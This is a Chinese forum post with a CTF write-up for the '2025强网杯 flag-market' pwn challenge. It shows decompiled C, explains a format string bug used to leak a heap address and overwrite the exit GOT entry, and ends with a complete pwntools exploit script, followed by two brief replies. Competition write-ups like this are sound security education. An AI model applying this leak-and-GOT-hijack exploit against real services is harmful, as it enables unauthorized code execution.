StarrySky 发表于 2025-10-20 19:36

2025强网杯-flag-market

本帖最后由 StarrySky 于 2025-10-20 19:50 编辑

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int idx; //
int fd; //
FILE *stream; //
char filename; // BYREF
char s; // BYREF
char flag; // BYREF
unsigned __int64 v10; //
?
v10 = __readfsqword(0x28u);
sub_401336();
strcpy(filename, "/flag");
stream = fopen(filename, "r");
dword_40430C = 1;
while ( 1 )
{
    while ( 1 )
    {
      puts("welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit");
      memset(s, 0, sizeof(s));
      read(0, s, 0x10u);
      if ( (unsigned __int8)atoi(s) != 1 )
      exit(0);
      puts("how much you want to pay?");
      memset(s, 0, sizeof(s));
      read(0, s, 0x10u);
      if ( (unsigned __int8)atoi(s) == 0xFF )
      break;
      printf("You are so parsimonious!!!");   // 格式化字符串漏洞
      if ( dword_40430C )
      {
      fclose(stream);
      dword_40430C = 0;
      }
    }
    puts(aThankYouForPay);                      // "Thank you for paying,let me give you flag: "
    if ( !dword_40430C || !fgets(flag, 64, stream) )
      break;
    for ( idx = 0; ; ++idx )
    {
      if ( idx > 64 )
      {
      puts("\nThank you for your patronage!");
      return 0;
      }
      if ( flag == '{' )
      break;
      putchar(flag);
      sleep(1u);
    }
    memset(flag, 0, 0x40u);
    puts(a1m31mError0mSo);                      // "\n\x1B[1m\x1B[31m==========error!!!========== \x1B[0m \nSorry, but maybe something wrong... \nyou can report it in user.log"
    puts("opened user.log, please report:");
    memset(oflag, 0, 0x100u);                   // "everything is ok~"
    __isoc99_scanf("%s", oflag);                // "everything is ok~"
    getchar();
    fd = open("user.log", (int)oflag);          // "everything is ok~"
    write(fd, oflag, 0x100u);                   // "everything is ok~"
    puts(aOkNowYouCanExi);                      // "OK,now you can exit or try again."
}
puts("something is wrong");
return 0;
}注意这里,存在一个格式化字符串漏洞利用setvbuf中的stderr来输出环境变量中的flag
调试到这里可以看到本地的flag,继续往下调这里泄露出heap的地址,但是要加一个偏移,这个偏移就是刚才fgets写入的heap地址与这次heap地址的差值搜flag找到偏移%9$p拿stream流的heap地址,%c%12$hn为输入点的偏移,为了修改下一次输入点的值,这里是吧exit的got改为了main函数直接修改低字节劫持exit的got正好0x1393+8字节为main函数的地址这里输入2来触发刚才的漏洞p.sendlineafter(b'?', str(255))
p.sendlineafter(b':', b'a'*0x100 + b'%12$s')
p.sendlineafter(b'exit', b'1')
p.sendlineafter(b'want to pay?', p64(heap_addr))这里输入-1或者255都行,只是为了进入打印flag的循环(输入-1可行是由于atoi的转换按有符号十进制数转),判断ff,进入循环,打印flag,继续走到log那里,继续覆盖全局变量进行格式化字符串漏洞。保存一个%12$s,然后继续输入刚才算好的偏移from pwn import *
context.arch='amd64'
context.log_level = 'debug'
p = process('./fmt')
#p =remote('8.147.135.195', 30722)
p.recvuntil("2.exit\n")
p.sendline("1")
sleep(0.2)
p.sendline("255")
#gdb.attach(p , 'b *0x401603')
payload = b'a'*0x100 + b'%9$p' + b'%' + str(0x1393).encode() + b'c%12$hn'
p.sendlineafter(b':', payload)
p.sendlineafter(b'exit', str(1))
p.sendlineafter(b'how much you want to pay?\n', p64(0x0404090))
heap_addr = int(p.recv(10), 16) + 0x1e0
log.success(f"heap-->{hex(heap_addr)}")
p.sendlineafter(b'exit', b'2')
p.sendlineafter("2.exit\n",b"1")
p.sendlineafter(b'?', str(255))
p.sendlineafter(b':', b'a'*0x100 + b'%12$s')
p.sendlineafter(b'exit', b'1')
p.sendlineafter(b'want to pay?', p64(heap_addr))
p.interactive()
**** Hidden Message *****

ebx 发表于 2025-10-22 23:13

{:5_116:}太强了,支持

偷师学艺 发表于 2025-11-14 13:40

攒hb挣hb
页: [1]
查看完整版本: 2025强网杯-flag-market